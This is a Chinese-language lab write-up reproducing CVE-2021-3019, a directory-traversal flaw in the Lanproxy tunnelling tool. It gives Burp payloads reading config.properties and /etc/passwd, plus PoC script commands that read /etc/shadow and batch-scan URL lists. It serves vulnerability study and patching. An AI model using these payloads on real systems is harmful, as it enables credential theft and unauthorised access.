CVE-2021-3019—Lanproxy 任意文件读取漏洞复现
lanproxy是一个将局域网个人电脑、服务器代理到公网的内网穿透工具,支持tcp流量转发,可支持任何tcp上层协议(访问内网网站、本地支付接口调试、ssh访问、远程桌面...)。目前市面上提供类似服务的有花生壳、TeamView、GoToMyCloud等等,但要使用第三方的公网服务器就必须为第三方付费,并且这些服务都有各种各样的限制,此外,由于数据包会流经第三方,因此对数据安全也是一大隐患。
2.漏洞概述
Lanproxy1.0通过../绕过读取任意文件。该漏洞允许目录遍历读取/../conf/config.properties来获取到内部网连接的凭据。
Lanproxy1.0
4.环境搭建
1).下载Lanproxy安装包,下载地址:
https://file.nioee.com/d/2e81550ebdbd416c933f/
2).解压后移动到/usr/local目录下
mv proxy-server-0.1/ /usr/local/
3).进入proxy-server-0.1 bin目录下给startup.sh加上执行权限,然后启动服务
cd proxy-server-0.1/bin chmod +x startup.sh ./startup.sh
4).在浏览器访问http://192.168.238.131:8090,出现以下登录界面启动成功
5.漏洞复现
0.关于burp的配置:
(1)首先要对浏览器进行网络配置,这里使用的是kali中的firefox:
(2)对burp进行监听配置(与1中的网络ip和端口一致):
1).在登录页面,使用Burp抓包,并发送到Repeater(重放模块)
2).在url构造以下链接读取配置文件
/../conf/config.properties
3).修改payload读取敏感文件
/../../../../etc/passwd
6.POC脚本:
1).这里是在网上找的脚本,使用的python语言,参考链接https://github.com/FanqXu/CVE-2021-3019:
2).下载POC.py到主机kali中,默认不带参数运行显示帮助信息:
3).单个URL
对单个URL进行漏洞检测,如果存在漏洞则默认读取配置文件并输出(这里的网址就是登陆proxy的网址)
python3 POC.py -u http://127.0.0.1:8090
4).读取其他文件
使用-r
参数读取系统其他文件,需要知道文件的绝对路径
python3 POC.py -u http://127.0.0.1:8090 -r /etc/shadow
5).批量扫描
使用-f
参数批量检测,有漏洞的将被写入success.txt
文件
python3 POC.py -f ../../urls.txt
7.修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接: